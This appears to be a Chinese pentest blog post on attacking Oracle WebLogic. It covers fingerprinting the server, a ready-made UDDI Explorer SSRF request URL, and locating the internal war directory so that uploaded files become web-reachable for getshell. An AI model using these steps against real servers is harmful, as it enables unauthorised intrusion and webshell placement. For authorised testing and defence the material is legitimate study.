测试是否为weblogic
方法一
这个是最直观的办法,也就是看404
、403
页面,如下图就是weblogic
特定的404
页面,虽然输入一个不存在的文件名就可以看到
如下是weblogic
特定的403
版本
方法二
访问其管理控制台/console/
目录
方法三
开放7001
, 7002
, 等特定weblogic
常用端口
方法四
特定返回包头部信息,如
1 | Servlet/x.x JSP/x.x |
方法四
存在/wls-wsat/
目录,如
1 | http://xx.xxx.xx:7001/wls-wsat/CoordinatorPortType |
方法五
这个是weblogic ssrf
,链接如下
1 | http://xxx.xxx.xxx/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search |
这里用第一种办法就测试出来了,如何拿去工具哪儿连接试试~
确认可以执行命令等操作之后就要定位war
包
定位war
包
为何要定位
war
包?
因为我们要上传文件,而我们把文件上传到web
路径是无法访问的,上传到war
包才能够进行访问,导致getshell
网上有很多很复杂的,用下面这个方法挺简单的~ 首先用如下命令找所有的war
包里存在的index.html
的路径
1 | locate war/index.html |
然后就2
个,经过测试发现第一个是正确的路径(这样子测试的:每个路径下都去上传文件,然后看看能不能打开~)
1 | /home/weblogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/index.html |
然后在这个路径下上传个test.txt
,内容为hello world
,如图
然后访问
1 | http://xxx.xxx.xxx/bea_wls_internal/test.txt |
补充知识点
特定版本的话可以直接getshell
,因为特定版本的war
包就是在下面这路径
1 | /home/weblogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/ |
然后直接上传直接访问
1 | http://xxx.xxx.xxx:7001/bea_wls_internal/文件名 |
就可以了